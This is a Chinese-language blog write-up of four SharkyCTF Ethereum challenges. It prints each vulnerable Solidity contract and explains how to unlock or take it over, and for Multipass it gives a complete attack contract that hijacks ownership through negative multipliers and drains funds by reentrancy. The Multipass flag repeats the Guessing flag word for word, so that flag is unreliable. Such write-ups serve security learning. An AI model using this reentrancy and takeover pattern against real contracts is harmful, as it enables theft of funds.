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SharkyCTF 合约部分wp

合约
字数统计: 909阅读时长: 4 min
2020/05/11 Share

近日空闲下来，尝试复现下ctf合约部分的一些题解，全当复习下以前所学知识

Ethereum

截止目前：题目链接

Warmup

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pragma solidity = 0.4.25;

contract Warmup {
    bool public locked;
    
    constructor() public payable {
        locked = true;
    }
    
    function unlock() public payable {
        require(msg.value == 0.005 ether);
        locked = false;
    }
    
    function withdraw() public payable {
        require(!locked);
        msg.sender.call.value(address(this).balance)();
    }
}

题目很简单，只要发送0.005 ether到目的合约就可以得到flag了

Logic

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pragma solidity = 0.4.25;

contract Logic {
    address public owner;
    bytes32 private passphrase = "th3 fl4g 1s n0t h3r3";
    
    constructor() public payable {
        owner = msg.sender;  
    }
    
    function withdraw() public {
        require(msg.sender == owner);
        msg.sender.call.value(address(this).balance)();
    }

    function claim(bytes32 _secret) public payable {
        require(msg.value == 0.05 ether && _secret == passphrase);
        owner = msg.sender;
    }
}

第二题则是发送0.05 ether和th3 fl4g 1s n0t h3r3字符串的bytes32值,使用如下函数转换下，

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contract string_test {
function stringToBytes32(string memory source) public pure returns (bytes32 result) {
    bytes memory tempEmptyStringTest = bytes(source);
    if (tempEmptyStringTest.length == 0) {
        return 0x0;
    }

    assembly {
        result := mload(add(source, 32))
    }
}
}

2-2.jpg

或者直接翻阅etherscan上的记录

2-1.jpg

get flag : shkCTF{sh4m3_0n_y0u_l1ttl3_byt3_f0f6145540ea8c6ee8067c}

Guessing

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pragma solidity = 0.4.25;

contract Guessing {
    address public owner;    
    bytes32 private passphrase;
    
    constructor(bytes32 _passphrase) public payable {
        owner = msg.sender;
        passphrase = keccak256(abi.encodePacked(_passphrase));
    }
    
    function withdraw() public {
        require(msg.sender == owner);
        msg.sender.call.value(address(this).balance)();
    }

    function claim(bytes32 _secret) public payable {
        require(keccak256(abi.encodePacked(_secret)) == passphrase);
        owner = msg.sender; 
    }
}

本题未直接给出passphrase值，但可以直接翻阅etherscan查看历史的传参记录，转换成string看一下

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contract bytes32ToString  {
    function bytes32ToString(bytes32 x) constant returns (string) {
    bytes memory bytesString = new bytes(32);
    uint charCount = 0;
    for (uint j = 0; j < 32; j++) {
        byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
        if (char != 0) {
            bytesString[charCount] = char;
            charCount++;
        }
    }
    bytes memory bytesStringTrimmed = new bytes(charCount);
    for (j = 0; j < charCount; j++) {
        bytesStringTrimmed[j] = bytesString[j];
    }
    return string(bytesStringTrimmed);
}
}

得到passphrase值，但本道传入为bytes32，所以直接填0x49276d2070723374747920737572332079307520627275743366307263336421就行
3-1.jpg
get flag:shkCTF{bl0ckch41n_c0uld_b3_h3lpfull_05b12d40c473800270981b}

Multipass

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pragma solidity = 0.4.25;

contract Multipass {
    address public owner;
    uint256 public money;
    
    mapping(address => int256) public contributions;
    
    bool public withdrawn;
    
    constructor() public payable {
        contributions[msg.sender] = int256(msg.value * 900000000000000000000);
        owner = msg.sender;
        money = msg.value;
        withdrawn = false;
    }
    
    function gift() public payable {
        require(contributions[msg.sender] == 0 && msg.value == 0.00005 ether);
        contributions[msg.sender] = int256(msg.value) * 10;
        money += msg.value;
    }
  
    function takeSomeMoney() public {
        require(msg.sender == owner && withdrawn == false);
        uint256 someMoney = money/20;
        if(msg.sender.call.value(someMoney)()){
            money -= someMoney;
        }
        withdrawn = true;
    }
    
    function contribute(int256 _factor) public {
        require(contributions[msg.sender] != 0 && _factor < 10);
        contributions[msg.sender] *= _factor;
    }
    
    function claimContract() public {
        require(contributions[msg.sender] > contributions[owner]);
        owner = msg.sender;
    }
}

require(msg.sender == owner && withdrawn == false);需要满足这2个条件才能拿到flag

这2个条件都在默认创建合约那，再进一步可以通过claimContract来改变合约主人-》那先要充钱需要钱包大于合约主人才能替换

此时我们看这里 contribute，传入factor小于10但没限制要大于0,

require(contributions[msg.sender] != 0 && _factor < 10);

结合简单粗暴的将钱包值与输入值相乘，也就是说我们传入2次负值，最后乘成一个超大值来大过合约主。

contributions[msg.sender] *= _factor;

最后还要匿名函数回调下，一直重入让钱包数归零

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if(msg.sender.call.value(someMoney)()){
            money -= someMoney;
        }
withdrawn = true;

按着上述思路，给出exp，（ps:start的时候注意填ether Value为0.00005，还有速度太感人了。还是自己手动加速gas来得快

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contract attack {    
    address  attacker;
    address  victim;
    function attack() payable {attacker = msg.sender;}
    function start(address _target)  payable {
        victim = _target;
        victim.call.value(0.00005 ether)(bytes4(keccak256("gift()")));
        victim.call(bytes4(keccak256("contribute(int256)")), -1000000000000);  
        victim.call(bytes4(keccak256("contribute(int256)")), -1000000000000);  
        victim.call(bytes4(keccak256("claimContract()")));  
        victim.call(bytes4(keccak256("takeSomeMoney()")));  
        }
    function remove()  {
        if (msg.sender == attacker){
            selfdestruct(attacker); 
        }
    }
    function () payable {
        if (msg.sender == victim) {
            victim.call(bytes4(keccak256("takeSomeMoney()")));
        }
    }
}

get flag:shkCTF{bl0ckch41n_c0uld_b3_h3lpfull_05b12d40c473800270981b}

原文作者：Vorder

原文链接：http://Vorders.me/2020/05/11/SharkyCTF-合约部分wp/

发表日期：May 11th 2020, 3:05:52 pm

更新日期：May 12th 2020, 10:04:09 am

版权声明：本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

CATALOG
  1. 1. Ethereum
    1. 1.1. Warmup
    2. 1.2. Logic
    3. 1.3. Guessing
    4. 1.4. Multipass
Total : 11
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